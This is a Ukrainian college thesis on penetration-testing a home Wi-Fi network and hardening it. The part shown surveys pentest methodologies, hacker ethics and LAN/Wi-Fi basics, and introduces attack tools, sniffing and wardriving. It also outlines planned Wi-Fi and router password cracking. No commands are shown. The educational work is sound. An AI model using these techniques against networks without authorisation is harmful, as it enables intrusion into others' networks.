Міністерство освіти і науки України

Чернівецький національний університету імені Юрія Федьковича»

Відокремлений структурний підрозділ «Фаховий коледж Чернівецького національного університету імені Юрія Федьковича»

Природниче відділення

Циклова комісія комп'ютерної інженерії

КВАЛІФІКАЦІЙНА РОБОТА

на здобуття освітньо-професійного ступеня «фаховий молодший бакалавр»

зі спеціальності 123 Комп'ютерна інженерія

підготовки за освітньо-професійною програмою «Комп'ютерна інженерія»

на тему: «Дослідження вразливостей та налаштування безпеки домашньої локальної мережі»

Виконав (ла):			
студент (ка) 4-го	курсу Кормиш Ан	ндрій Сергійович	
(прізвище, ім	я та по батькові)	(підпис)	
Керівник:			
Мельничук А.	Ю.		
(науковий ступінь, вчен	е звання, прізвище та іні	ціали)	(підпис)
Рецензент:			
Букурос О.В.			
(науковий ступінь, вчен	е звання, прізвище та іні	ціали)	(підпис)
До захисту допу	щено:		
Протокол засіда	ння циклової ко	місії № _	
від ""	2024 p.		

Голова циклової комісії _____ Олександр ТАЩУК

Чернівці, 2024

Завдання та календарний план роботи

Міністерство освіти і науки України Чернівецький національний університету імені Юрія Федьковича» Відокремлений структурний підрозділ «Фаховий коледж Чернівецького національного університету імені Юрія Федьковича»

Затверджую Голова циклової комісії, Олександр ТАЩУК.

«____» ____2023 p.

	Завдання
На кваліфікаційну роботу	Кормишу Андрію Сергійовичу
Тема кваліфікаційної	Дослідження вразливостей та налаштування
роботи	безпеки домашньої локальної мережі
Постановка завдання в	Планування проведення тестування на
короткій формі	проникнення, проведення дослідження недоліків в
	безпеці локальної домашньої мережі, аналіз
	знайдених недоліків, захист мережі.
Вихідні дані (2-3 адреси	https://skillsforall.com/course/network-
сайтів, матеріали яких	defense?courseLang=uk-UA
рекомендує керівник	
кваліфікаційної роботи)	https://lms.netacad.com/course/view.php?id=2174309
	https://kali.org

Календарний план роботи

Дата	Етап виконання роботи	Виконання
отримання		(зазначає
версії звіту		керівник)
керівником		
10.10.23	Отримання завдання до кваліфікаційної	
	роботи.	
13.11.23	Огляд літератури, присвяченої проведенню	
	тестування на проникнення.	
12.12.23	Аналіз існуючих стандартів кібербезпеки,	
	законів, правил етики та методологій	
	проведення пентесту. Оформлення розділу 1.	
08.01.24	Вибір основних інструментів для проведення	
	дослідження.	

26.01.24	Написання теоретичного матеріалу по	
	використовуваних инструментах дослидження.	
	Оформлення розділу 2.	
26.02.24	Дослідження вразливостей бездротової	
	домашньої мережі. Оформлення розділу 3.	
11.03.24	Аналіз отриманих результатів.	
08.04.24	Налаштування безпеки маршрутизатора	
	бездротового зв'язку. Оформлення розділу 4.	
06.05.24	Оформлення та редагування кваліфікаційної	
	роботи.	
за графіком	Подання роботи на перевірку Інтернет-сервісом	
	Unicheck.	
за графіком	Подання роботи на рецензію	
за графіком	Представлення роботи на засіданні Циклової	
	комісії	
за графіком	Захист кваліфікаційної роботи	

Дата видачі завдання _____.

Студент

<u>Андрій КОРМИШ</u>

Керівник (П.І.Б)

Христина МЕЛЬНИЧУК

Андрій МЕЛЬНИЧУК

АНОТАЦІЯ

В даній роботі виконано дослідження вразливостей домашньої локальної мережі та налаштування її безпеки. Актуальність роботи полягає в тому, що задаючи правильні безпекові налаштування пристроям локальної мережі можна зменшити ризик бути скомпроментованим зловмисником, оскільки існує велика кількість можливих потенційних ризиків та загроз для пристроїв, систем та даних.

Робота складається з 4 розділів, в яких проаналізовано існуючі методології тестування на проникнення; проведено тестування домашньої локальної мережі за допомогою технологій перехоплення даних, сканування портів; знайдено паролі входу до Wi-Fi та маршрутизатора; налаштовано маршрутизатор згідно переліку безпекових налаштувань та знайдених вразливостей.

Кваліфікаційна робота містить 68 сторінок, 25 рисунків та 17 посилань на літературні джерела.

Ключові слова: безпека домашньої мережі, вразливості домашніх мереж, пентест, Wireshark, перехоплення даних, птар, сканування портів, безпекові налаштування маршрутизатора.

3MICT

<u>СПИСОК ТЕРМІНІВ, СКОРОЧЕНЬ ТА ПОЗНАЧЕНЬ</u>	7
ВСТУП	9
<u>1. АНАЛІЗ ПРЕДМЕТНОЇ ОБЛАСТІ</u>	11
<u>1.1.</u> 11	
<u>1.2.</u> 14	
1.3. Поняття домашньої локальної мережі	15
<u>1.3.1. Стандарт Wi-Fi</u>	17
Висновки до розділу 1	19
<u>2.</u> 19	
<u>2.1</u> 20	
2.1.1 Wireshark	22
<u>2.2 Активний збір інформації</u>	23
2.3 Kali Linux	25
Висновки до розділу 2	26
<u>3.</u> 26	
3.1. Network Penetration Testing	27
3.2. Дослідження локальної домашньої мережі	28
3.3. Перехоплення трафіку мережі	31
3.3.1. Режим монітору	32
3.3.2. Прослуховування мережі	33
3.3.3. Захоплення рукостискання	34
3.3.4. Аналіз отриманих даних	36
<u>3.4. Отримання паролю домашнього Wi-Fi</u>	38
3.4.1. Захоплення даних	38
3.4.2. Розкриття прихованої інформації	39
<u>3.5. Сканування мережі за допомогою NMAP</u>	42
3.6. Перевірка надійності паролю входу на маршрутизатор	44
Висновки до розділу 3.	44
	5

<u>4.</u> 44	
4.1.Захист бездровотої мережі	46
<u>4.1.1.</u> 47	
<u>4.1.2.</u> 48	
<u>4.1.3.</u> 50	
Висновки з розділу 4:	52
ВИСНОВКИ	53
<u>СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ</u>	54
ДОДАТКИ	56
Додаток А. Перехоплення даних	56
А1. Режим монітору	56
<u>A2. Перехоплені дані програмою Wireshark</u>	57
A3. WPA handshake	60
А4. Знайдені пристрої в мережі	61
<u>Додаток Б. Сканування портів</u>	62
Б1. Результати сканування маршрутизатора домашньої мережі	62
<u>Б2. Результати сканування смарт-приставки Chromecast</u>	63
БЗ. Результати сканування смартфону з ОС iOS	64
Б4. Результати сканування ноутбуку (поточного пристрою)	66
<u>Додаток В. Діаграма</u>	67
<u>Додаток Г. Отримання паролю маршрутизатора</u>	68
<u>Додаток Ґ</u>	69

СПИСОК ТЕРМІНІВ, СКОРОЧЕНЬ ТА ПОЗНАЧЕНЬ

IC	_	інформаційна система
IT		Інтернет-технології
OC		операційна система
Т3	_	технічне завдання
П3	_	Програмне забезпечення
ІБ	_	Інформаційна безпека
ME	_	Міжмережевий екран
LAN	_	Local Area Network, локальна мережа
WLAN	_	Wireless Area Network, глобальна мережа
SSID	_	Service Set Identifier, назва бездротової мережі
IP	_	Internet Protocol, інтернет-протокол міжмережевого обміну
		даними
IEEE	_	The Institute of Electrical and Electronics Engineers, Інститут
		інженерів з електроніки та електротехніки
ICMP	_	Internet Control Message Protocol, протокол керуючих
		повідомлень в мережі Інтернет
IEEE	_	Сімейство стандартів безпровідного зв'язку
802.11		
VLAN	_	Virtual Local Area Network, віртуальна локальна мережа
Wi-Fi	_	Wireless Fidelity, сімейство стандартів безпровідного зв'язку
ARP	_	Address Resolution Protocol
BSSID	—	Basic Service Set Identifier, ідентифікатор базового набору
		послуг
AES	_	Advanced Encryption Standard, симетричний алгоритм
		блочного шифрування

- WEP Wired Equivalent Privacy, стандарт захисту бездротового трафіку
- WPA Wi-Fi Protected Access, стандарт захисту бездротового трафіку
- PSK Pre-shared key, спільний ключ
- EAP Extensible Authentification Protocol, розширюваний протокол автентифікації
- ТКІР Temporal Key Integrity Protocol, протокол цілісності тимчасового ключа
- CEI Computer Ethics Institute, інститут комп'ютерної етики
- ISO International Organization for Standartization, Міжнародна організація із стандартизації
- NIST The National Institute of Standarts and Technology
- ISSAF Information Systems Security Assessment Framework
- OSSTMM The Open Source Security Testing Methodology Manual
- PTES Penetration Testing Execution Standart
- OWAS Open Web Application Security
- TCP Transmission Control Protocol
- UDP User Datagram Protocol

ВСТУП

Актуальність теми. Тема безпеки на сьогодні займає важливе місце. Кожного дня створюється нове шкідливе програмне забезпечення, виявляються нові вразливості існуючого апаратного та програмного забезпечення, шляхи проникнення в системи, викрадення даних тощо. Мати знання, навички та вміти налаштувати безпеку своїх пристроїв та даних – прямий обов'язок всіх користувачів IT.

Метою даної роботи є дослідження відкритих відомостей про локальну мережу, дослідження відкритих портів, можливостей зламу домашнього Wi-Fi, отримання паролю точки доступу тощо. Після дослідження вразливостей конкретної домашньої мережі відбувається налаштування безпеки як самих пристроїв локальної мережі, - так і ОС, даних. Використовуються налаштування існуючими засобами конкретних ОС, які встановлені на домашніх пристроях.

Об'єктом дослідження виступає домашня локальна мережа.

Предмет дослідження – комплекс програмно-технічних засобів, які дозволять оцінити захищеність домашньої локальної мережі, швидкість отримання конфіденційних даних, тощо.

Метою кваліфікаційної роботи є дослідження кіберзахисту домашньої мережі за допомогою тестування на проникнення та аналізу отриманих даних для оцінки прийняття рішень щодо подальшого захисту системи.

Для досягнення поставлених цілей необхідно вирішити наступні завдання:

- розглянути існуючі методи проведення пентесту;

- дослідити сучасні програмні засоби для проведення тестування;

- провести дослідження-оцінювання кіберзахищеності локальної мережі.

Методи дослідження. Існуючі методики та технології збору даних, тестування на проникнення. Використання інструментального середовища

Kali Linux, сніферів, сканерів мереж для оцінювання рівня захисту мережі. Захист периметру мережі.

Практична цінність отриманих в роботі результатів полягає в тому, що користувач може побачити слабкі місця в своїй локальній мережі та виконати комплексне налаштування безпеки на всіх пристроях, що входять до її складу.

1. АНАЛІЗ ПРЕДМЕТНОЇ ОБЛАСТІ

У сучасному світі проблема захисту інформації, локальних мереж, даних користувачів, каналів передачі даних, тощо від потенційних загроз є досить актуальною. Оскільки кількість користувачів ІС щодня тільки зростає, а отже, - зростає і кількість інформації, яку потрібно захищати. Це також пов'язане з великим поширенням пристроїв ІоТ та BigData.

Для ефективних налаштувань безпеки ОС, облікових записів чи локальної мережі необхідно знати та розуміти принципи та можливості їх функціонування, а також знати їхні слабкі місця. Це частково допоможе протидіяти зовнішнім атакам. Варто усвідомлювати, що лише комплексний підхід найкраще допоможе захистити цільову систему від можливого проникнення.

Тестування на проникнення (Penetration test) – це тест, що дає можливість оцінити рівень безпеки інформаційних мереж, який моделює атаку та допомагає проаналізувати поточний рівень захисту системи безпеки та оптимізувати її.

1.1. Підходи до оцінювання кіберзахищеності інформаційнокомунікаційних систем в Україні та світі

Згідно з Законом України «Про захист інформації в інформаційнокомунікаційних системах» інформаційно-комунікаційна система - сукупність інформаційних та електронних комунікаційних систем, які у процесі обробки інформації діють як єдине ціле, а комплексна система захисту інформації взаємопов'язана сукупність організаційних та інженерно-технічних заходів, засобів і методів захисту інформації [1].

Під оцінкою кіберзахисту інформаційно-комунікаційних систем розуміють збір об'єктивних, кількісних та якісних оцінок поточного стану системи безпеки і отримання комплексної оцінки рівня безпеки цих систем. Ці процедури проводяться для розуміння рівня захисту системи, а також можливості вчасно реагувати та протидіяти новим видам загроз, які досить часто змінюються та вдосконалюються [2].

Розробка системи вимог, критеріїв та показників рівня безпеки інформаційних технологій є основним аспектом вирішення проблеми безпеки інформаційних технологій. Це поняття стандартизації.

В міжнародних стандартах ІБ містяться положення, які є обов'язковими до виконання, а також ті, які описані у вигляді рекомендацій щодо забезпечення ІБ.

Для перевірки оцінки кіберзахищеності ІКС проводять аудит ІБ. Найбільш поширеними міжнародними стандартами та керівництвами в області аудиту є [3]:

- ISO/IEC 27007: Guidelines for information security management systems auditing Global Technology Audit Guide (GATG);

- International Professional Practices Framework (IPPF) for Internal Auditing Standards;

- IT Audit Framework 2nd Edition (ITAF);

- Cobit;

- - Guide to the Assessment of IT Risk (GAIT)

Згідно з [4] є такі найбільш розповсюджені методології проведення тестування на проникнення, як:

- OWASO Testing Guide;

- Information Systems Security Assessment Framework (ISSAF);

- The National Institute of Standarts and Technology (NIST) ;

- The Open Source Security Testing Methodology Manual (OSSTMM);

- Penetration Testing Execution Standart (PTES).

Розробляючи методологію тестування на проникнення, необхідно розуміти, що кожна комп'ютерна система – унікальна. Насамперед, це

відмінність між апаратними пристроями; ОС; ПЗ, що використовується та базові безпекові налаштування систем.

Open Web Application Security Project Testing Guide

Дана методика вузько орієнтована на тестування веб-додатків. ЇЇ можна використовувати для оцінки захищеності веб-додатків, як в складі певної ІС, так і для перевірки окремих можливостей та функцій безпеки.

Information Systems Security Assessment Framework

Дана методологія включає в себе три етапи:

- планування;

-підготовка. Отримання початкової інформації про об'єкт тестування.

- оцінка. Виконується тестування на проникнення.

Перевагою використання даної методології є наведені утиліти для тестування та вказівки щодо їх використання, а також інформація про можливі реакції системи на тестування.

The National Institute of Standarts and Technology

NIST розробив посібник з тестування та оцінки ІБ. В даному посібнику наведено ключові елементи тестування безпеки, оцінки захищеності систем конкретними методами та рекомендації щодо їх використання.

Згідно цього стандарту виділяють наступні етапи тестування на проникнення [9]:

- планування. Визначаються правила тестування, цілі і окремі задачі тестування.

- дослідження. Збір інформації та аналіз вразливостей.

- атака. Експлуатація раніше визначених вразливостей;

- розробка звітної документації. Підготовка звіту знайдених вразливостей, можливих ризиків та рекомендацій.

The Open Source Security Testing Methodology Manual

Методика, що орієнтована, здебільшого, на тестування комп'ютерних мереж.

В процесі тестування дана методика дозволяє оцінити такі категорії

[10]:

- інформаційну безпеку;

- безпеку соціальних процесів;

- безпеку інформаційних процесів;

- безпеку Інтернет-технологій;

- безпеку каналів зв'язку;

- безпеку бездротових технологій;

- безпеку фізичної інфраструктури.

Penetration Testing Execution Standard

Даний стандарт має 7 етапів проведення тестування на проникнення:

- попередні погодження, (межі тестування, дати, метрики, порядок складання документації та інше);

- збір інформації, (техніки дослідження);

- моделювання загроз, (рекомендації щодо побудови моделі загроз);

- аналіз вразливостей, (пошук вразливостей у системі);

- експлуатація, (техніки доступу та обходу захисних механізмів за допомогою вразливостей);

- пост-експлуатація, (техніки, що дозволяють зрозуміти цінність скомпрометованої системи);

- звітність, (критерії, які є важливими при складанні звіту про тестування).

1.2. Етика тестування

Хакерів за етичними характеристиками поділяють на:

- хакерів в білих капелюхах (етичні хакери)

- хакерів в сірих капелюхах

- хакерів в чорних капелюхах (зловмисники)

Етичний хакер — це професійний пентестер (penetration tester), який проводить тестування на проникнення та володіє мистецтвом кіберзламу. Як зловмисники володіють різними методологіями та інструментами для проникнення в систему, викраденням даних, тощо - так і етичні хакери повинні знати всі ті ж прийоми. Але ці знання на навички етичних хакерів будуть використані для захисту даних, ПЗ, пристроїв, систем, мереж звичайних людей, організацій, держав та суспільства загалом.

Спільним для всіх хакерів є те, що всі вони, навіть етичні, розглядають систему користувача з точки зору зловмисника.

В [7] міститься інформація про десять заповідей комп'ютерної етики, створених Інститутом комп'ютерної етики (СЕІ). Ось вони:

- Не використовуйте комп'ютер для шкоди іншим;
- Не втручайтеся в роботу комп'ютера іншої людини;
- Не відкривайте особисті файли інших людей;
- Не використовуйте комп'ютер для крадіжки;
- Не використовуйте комп'ютер для неправдивих свідчень;
- Не копіюйте та не використовуйте ПЗ, за яке ви не заплатили;
- Не використовуйте комп'ютер інших людей без дозволу;
- Не привласнюйте інтелектуальні досягнення інших людей;
- Думайте про соціальні наслідки програм, які ви створюєте;

- Використовуйте комп'ютер так, щоб гарантувати повагу до інших людей.

1.3. Поняття домашньої локальної мережі

Локальна мережа (LAN, Local Area Network) – це мережева інфраструктура, яка забезпечує доступ користувачам і кінцевим пристроям в невеликій географічній області. [6]

Локальні мережі бувають різних розмірів. Мережа, що складається з двох зв'язаних між собою пристроїв називається одноранговою мережею. Така мережа може називатися локальною. Локальною мережею може називатися також мережа, що складається з сотні пов'язаних пристроїв.

Комп'ютерні мережі можна класифікувати за такими групами ознак [12]:

- територіальна поширеність;
- відомча належність;
- тип середовища передавання;

- топологія;

- організація взаємодії комп'ютерів.

В залежності від кількості взаємопов'язаних пристроїв, мережі поділяють так:

невеликі домашні мережі (зв'язок декількох вузлів з виходом в
 Інтернет)

- невеликі домашні або офісні мережі/SOHO (дозволяють під'єднатися до корпоративної мережі або отримувати доступ віддалено до централізованих чи сумісно використовуваних ресурсів)

 середні і крупні мережі (пов'язують множину місцерозташувань з сотнями або тисячами комп'ютерів)

- глобальна мережа WAN (пов'язує мільйони пристроїв по всьому світу)

Можна зробити висновок, що домашня локальна мережа – це комп'ютерна мережа для обмеженого кола осіб, що об'єднує кінцеві пристрої в невеликій географічній області (одному приміщенні).

До складу будь-якої локальної мережі входять:

- кінцеві пристрої;

- мережеві адаптери;

- мережеве обладнання;

- периферійні пристрої;

- середовище передачі даних.

Сучасні локальні мережі будуються на основі топології зірка (див. рис. 1.1). Основними перевагами використання в домашніх локальних мережах цієї топології є прекрасна масштабованість (зважаючи на використання маршрутизатора з точкою доступу); можливість легко можна знайти і усунути несправності мережі; простота налаштування і адміністрування усього обладнання. Щодо недоліків даної топології — можна виділити наступні: відмова центрального вузла призведе до відмови працездатності всієї мережі; а у випадку, якщо використовується тільки кабельне з'єднання, - обмежена кількість з'єднань з центральним вузлом. [13]



Рисунок 1.1. Топологія зірка

Останнім часом широкого розповсюдження набула Wireless LAN (WLAN). Wireless Local Area Network – це бездротова локальна мережа. Дана мережа аналогічна до LAN, але сполучає користувачів і кінцеві пристрої невеликої географічної області за допомогою безпровідного зв'язку. [14]

Розроблено велику кількість бездротових технологій, наприклад, Bluetooth, WiMAX, Wi-Fi та інші. Кожна з технологій має певні характеристики, що визначатимуть сферу її застосування.

1.3.1. Стандарт Wi-Fi

Технологія Wi-Fi, або Radio Ethernet IEEE 802.11 - це перший промисловий стандарт, створений Інститутом електроніки та електротехніки (Institute Electrical and Electronics Engineers - IEEE), який дозволив

організувати бездротову локальну мережу (Wireless Local Area Networks - WLAN).[15]

Точка доступу (Access Point), яка може підключатися до будь-якої мережевої інфраструктури і забезпечувати передачу радіосигналу - є центром бездротової мережі Wi-Fi.

На сьогоднішній день розроблено вже безліч версій стандарту - IEEE 802.11 з відповідними індексами a, b, c, d, e, g, h, i, j, k, i, m, n, o, p, q, r, s, u, v, w. Однак тільки чотири з них (a, b, g i n) є найбільш поширеними і популярними у виробників обладнання.[14]

Згідно з загальноприйнятими стандартами, стандарт Wi-Fi 802.11 працює на частотах 2,4 ГГц і 5 ГГц.

Середовищем передачі бездротового сигналу є електро-магнітні хвилі. Бездротова лінія зв'язку являє собою декілька вузлів, між якими здійснюється випромінювання та прийом радіохвиль. Кожен вузол обладнаний антенами, які одночасно можуть передавати та приймати радіохвилі.[12]

Безпровідна мережа має деякі проблемні області, до яких відносять:

- зона покриття
- перешкоди
- безпека

Радіус Wi-Fi покриває близько 50 метрів. Та не завжди цей радіус буде таким. Заважати проходженню сигналу можуть стіни, меблі та будь-які інші перешкоди. Чим більше зустрічатиметься таких перешкод – тим гіршим буде з'єднання.

Перешкода	Додаткові втрати, Дб	Сигнал, %
Відкритий простір	0	100
Вікно без тонування	3	70
Вікно з тонуванням	5-8	50
Дерев'яна стіна	10	30

Таблиця 1.1. Зниження сигналу Wi-Fi при зустрічі з перешкодами

Міжкімнатна стіна (15,2 см товщина)	15-20	15
Несуча стіна (30,5 см товщина)	20-25	10
Бетонна підлога або стеля	15-25	10-15
Монолітне залізобетонне перекриття	20-25	10

На бездротові сигнали можуть впливати завади, наприклад, флуоресцентна лампа; хвилі від мікрохвильової печі; радіоняня; пристрої, що працюють на частоті 2,4ГГц, тощо. Коли сигнал зустрічається з завадами, то частина енергії радіохвилі буде відбита від такої завади. Окрім того, бездротові сигнали піддаються глушінню частот.

Сьогодні дана технологія використовується в багатьох областях діяльності. Найбільший часто використовуваною вона стала у Інтернетпровайдерів, оскільки це дозволяє їм відмовитися від десятків кілометрів кабелів.

Висновки до розділу 1

Використовуючи одну із методологій проведення тесту на проникнення та керуючись етичними принципами, пентестер може починати проводити тестування. У всіх методологіях враховані такі етапи, як планування, дослідження, проведення атаки та аналіз. Використовуючи різноманіття технологій та інструментів етичний хакер успішно виконає дану роботу.

2. АПАРАТНО-ПРОГРАМНІ ЗАСОБИ ДЛЯ ОЦІНКИ ЗАХИСТУ ЛОКАЛЬНОЇ МЕРЕЖІ

Існує досить багато програм та інструментів для тестування на проникнення. Їх спільне використання дозволяє пентестерам добре підлаштовуватися під характеристики системи та досягати необхідних цілей тестування.

Найбільш популярними та корисними інструментами і програмами для пентесту є:

Kali Linux — ОС з найбільшою кількістю інструментів для проведення пентесту.

Acunetix — сканер вразливостей. Дозволяє сканувати та виявляти експлойти всередині мережі.

Burp Suite — інструмент, що містить різні утиліти для дослідження та атаки.

NMAP — сканер портів.

Metasploit — пентест-фреймворк, який містить як експлойти, так і спеціалізовані модулі.

Ettercap — прослуховувач, призначений для аналізу та перехоплення мережевого трафіку.

Wireshark – аналізатор пакетів. Прослуховувач трафіку.

HashCat — дуже швидкий підбирач (відновлювач) паролів.

THC-Hydra — утиліта для підбору паролів до мережевих сервісів.

Також існує величезна кількість різноманітних утиліт, які вирішують вузькоспеціалізовані завдання.

2.1 Пасивний збір інформації

Метою пасивного збору даних є отримання необхідних відомостей про об'єкт з доступних, відкритих джерел.

20

За допомогою пасивного методу атакуючий може одержати досить багато інформації про будову мережі, скласти приблизну карту вузлів зовнішнього периметра мережі з припущеннями їх ролей, також зібрати додаткову інформацію про організацію та контактну інформацію про користувачів. Наприклад, інформація про IP-адреси, MAC-адреси, домени, розміщення серверів, канали, використовувані протоколи, тощо при використанні такого методу збору інформації буде отримана дослідником. При цьому збір не викликатиме жодних підозр, тому що фактично неможливо визначити вузол, з якого проводиться пасивний збір інформації.

До пасивного збору інформації відносять сніфінг (sniffing). Сніфінг (аналізатор трафіку) – це програма або програмно-апаратний пристрій, що призначений для перехоплення і подальшого аналізу трафіку.

Сніфери можуть застосовуватись як в хороших цілях, так і в зловмисних. Мережеві адміністратори часто використовують сніфери для аналізу мережного трафіку і вирішення проблем в мережевій інфраструктурі.[7]

Пасивний сніфінг дозволяє лише слухати трафік, на відміну від активного.

Серед методів пасивного збору інформації можна виділити також warwalking i wardriving. Warwalking – це процес переміщення зловмисника (прогулянка) з метою знаходження бездротової точки доступу. На відміну, від попереднього, wardriving – це переміщення зловмисника на автомобілі, з метою знаходження бездротової мережі. Таким чином зловмисники, переміщуючись по певній території можуть легко знайти WLAN, а отже приблизно визначити, яка це локальна мережа і, в подальшому, використовувати допоміжні засоби для більш прицільного спостереження та дослідження за нею.

21

2.1.1 Wireshark

Одним з програмних засобів, що належить до категорії сніферів, є програмний застосунок Wireshark.

Wireshark – це програма, яка володіє можливостями розпізнавання структури найрізноманітніших мережевих протоколів, тому дозволяє проаналізувати мережевий пакет, відображаючи значення кожного поля протоколу будь-якого рівня.[5]

Цей програмний застосунок можна використовувати для усунення несправностей мережі, дослідження мережевого трафіку, аналізу продуктивності, перевірки безпеки та зловмисних атак.

Програма перехоплює та аналізує мережеві пакети (див. рис.2.1), що передаються між різними пристроями в мережі (за згодою користувачів або без їхнього відома).

le	dit	View	Go	Capture	Ana	lyze	Statist	lics	Telep	hony	Icol	is (int	emais	Help								1																					
1 6	١.	(.	A	81	1 2	3	9	\$	\$	9	F 1		1	0	Q (Q, E	3 4	8 5	0 🐴	%	儲	1																					
Filt	er:												~	Expre	sion	¢	lear		Apply		Save					2																	
	1	ime		Source	1			De	stinat	ion			Proto	col L	ength			Inf	lo																					_			
	15 :		817	0192.	168.	3.25	1	18	18.4	3.7	5.34		НТТ	Ρ			10	4 GE	ET /	ncsi	.txt	HTTP	2/1.1																				
	6	.06/	891	192.	168.	3.25	1	19	2.1	68.	3.74		DNS				8	8 51	tanda	ard	quer	/ 0xt	a/d	A	au-p	er.	phan	tom.	avir	a-v	n.co	m			-								
	17 ;	1.06/	890	192.	108.	3.23	1	19	2.1	08.	3.74		DNS				8	4 51	cand	ard	quer	/ UX3	asc	-	ni.p	han	tom.	avir	a-vp	n.c	MI				3								
	0.		077	192.	100.	3,23	1	15	2.1	50.	3.74		DNO				0	4 51	cand	ard	quer	Ox0	1042	2	at.p	nan	tom.	avii	a-vp	n.c	ND CO												
	10	.000	9///	192.	100.	3.23	-	10	2.1	00.	3.74		DNS				0	4 51	canda	ard	quer	0.7	neo	2	au-s	yu.	phan	COM.	avir	a-v	n.co	8											
-	.0.	12/	1255	192.	42 7	5 24	1	10	2.1	60.	2 25	1	UNS	P			22	9 10	canda	ard	quer	W UXI	tavt	101	be.p	nan	com.	avii	a-vp	n.c	m												
-	22	12	480	1192	168	2 75	1	10	18 4	2 7	5 34	-	TCB				23	4 54	1350	-80	LACK	I See	-151	A	4-55	2 10	in-6	3326	1100	-0													
1	2	17	780	192.	168	3,23	*	10	12 1	58	3.34	1	DNS				10	4 54	and	ard	CHICK,	1 500	0000	e O	vfa7	d	4 10	3 71	234	14													
		125	614	1102	168	2 25	1	10	12 1	68	2 74	*	DNS				20	4 61	tand	ard	quer	Ovf	Dea	A	ha a	han	tom	auir	12.34														
		124	646	1102	168	2 25	1	18	8.1	3 7	5 74		UTT	P			10	4 61	T /	aru	tyt	UTTO	2/1 1	-	ug.p	man	com.	avii	a-vp														
	16	120	0.4.9	192.	168	1 75	î	10	12 7	7 7	24 1	46	TCM	p			7	4 5	cho /	Coin	a) a	nun	+ 4	d-0	000			207	1 205	7 1	+1-1	28 (cenl	. 10	122								
	7	126	634	1192	168	3 25	î	10	12 1	68	3 74	10	DNS				8	4 5	tanda	ard	quer	/ Ovd	1836	4	hr n	han	ton.	avir	3-10	0 0	101-1	20 1	repr	y 10	132	/							
	10	176	763	1102	168	3 74	<u>^</u>	10	12 1	58	2 35	1	DNS				11	6 51	tand	ard	quer	rac	none		vd64	2	A 18	5 21	6 34	00	A 18	5.21	0 21	3 72									
	10	122	173	1192	168	3 74		19	12 1	68	2 25	î	DNS				14	8 51	tand	ard	quer	res	nons	e 0	NeFyl	è i	A 95	165	164	19	AQ	4 75	218	175	A 1	85.5	59 1	222	90.4	83	149	73.1	14
	10	. 122	480	192	168	3.25	1	18	15.7	16	34.0	õ	TCM	P			7	4 54	cho i	(nin	a) r	eques	t i	d-0	×000	1.	sen=	308	1331	3. 1	+1-1	28 (renl	in in	71)						****		
	1	. 127	810	197.	168.	3.25	î	05	. 16	8.1	64.1	94	TCM	p			7	4 5	cho i	(nin	a) n	eques	+ 1	d-0	x000	1.	seq-	309	1356	9	t1-1	28 (renl	in in	66)								
	12	. 128	140	192.	168.	3.25	î	19	12.1	68	3.74		DNS				8	8 51	tand	ard	quer	0xa	410	A	ob-1	00.1	nhan	tom	avir	a-vi	00.00												
	11	. 128	410	192	168.	3.25	î	19	12.1	68	3.74		DNS				8	8 51	tand	ard	quer	0xd	1660		ob-m	nc.	phan	ton	avir	a-vi	n.co												
	14	. 128	\$586	192	168	3.74	1	19	12.1	68	3.25	1	DNS				10	4 51	tanda	ard	quer	res	pons	e 0	x0fe	8	A 10	3.77	.233	11													
	15	.129	211	192.	168.	3.25	1	10	3.7	7.2	33.1	14	ICM	P			7	4 E	cho ((pin	a) r	oues	t i	d=0	x000	1.	sea=	310/	1382	5.	t]=1	28 (repl	v in	136)							
	6	. 129	896	192.	168.	3.25	1	19	2.1	68.	3.74	-	DNS				8	4 51	tand	ard	quer	/ 0x2	284	A	hu.p	han	ton.	avir	a-vp	n.c	in the second se												
	17	. 130	0518	0192.	168.	3.74		19	2.1	68.	3.25	1	DNS				10	0 51	tanda	ard	quer	/ res	pons	e 0	x79e	f ,	A 82	.107	. 19.	162													
	18	. 131	169	192.	168.	3.25	1	82	. 10	2.1	9.16	2	ICM	P			7	4 E	cho ((pin	a) r	eques	t i	d=0	x000	1. 1	sea=	311/	1408	1. 1	t]=1	28 (repl	v in	70)								
	19	. 131	855	0192.	168.	3.74		19	12.1	68.	3.25	1	DNS				33	1 51	tand	ard	quer	/ res	pons	e 0	x7e7	1 (CNAM	E ar	i-eu	, ph	ntom	.avi	ra-v	on.c	om C	NAME	E pr	rod	vpn	api	2022	052	3-1
14	10	.133	884	192.	168.	3.25	1	19	12.1	68.	3.74		DNS				8	4 St	tand	ard	quer	/ 0x2	810	A	de.p	han	tom.	avir	a-vp	n.c	MB												
Fri	ame ner ter	1: net Data	6666 II, Prot gram	bytes Src: prot	on 94:0 Vers ocol	3.25 wire 8:53 ion , Sr	1 (5 :90 4. 5 c Po	19 328 :71: 5rc: prt:	0b 19 59	68. (94 2.1 840	6666 :08: 68.3 (59	byt 53:9 .251 840)	DNS es c 0:71 (19 , Ds	aptu :0b) 2.16 t Pc	red , Ds 8.3. ort:	(532 t: 1 251) 3702	8 28 b 1Pv4), D 2 (3	4 St its) mcas st: 702)) on st_71 239.	int f:ff .255	erfa :fa .255	0x2 ce 0 (01:0 .250	00:5e (239	A :7f	de.p	han fa) 5.2	tom.	4	a-vp	n.c	200			-				_		_			
va	.d	1024	byt	es/															_																								
)()	0	1 00	5e	7f ff	fa	94 (8	53 9	0 7	1 0	b 08	00	45 0	0			. S.	q	.E.	-																							
0	0	2 8c	10	88 00	00	01 1	1 1	F2 3	sb o	0 a	8 03	fb	ef f	f			· ·;			5																							
2										_																																	

Рисунок 2.1. Приклад захоплень пакетів програмою Wireshark

Аналогом даної програми є утиліта tcpdump, проте Wireshark має наглядні переваги: зручний користувацький інтерфейс та значно більше можливостей із сортування та фільтрації даних.

Аналізатор трафіку Wireshark має досить багато особливостей. Серед ключових, які нас цікавлять в даній роботі наступні [5]:

- Дані можна читати з Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI та ін.
- Підтримується можливість дешифрування для багатьох протоколів: IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP WPA/WPA2, тощо.
- Перехоплення в реальному часі та офлайн-аналіз.

Wireshark має 2 режими захоплення: безладний режим та режим монітору.

Безладний режим встановлює інтерфейс для захоплення всіх пакетів у сегменті мережі, з яким він пов'язаний. А режим монітора дозволяє налаштувати бездротовий інтерфейс для всього трафіку. Режим монітору використовується лише для Unix/Linux.

2.2 Активний збір інформації

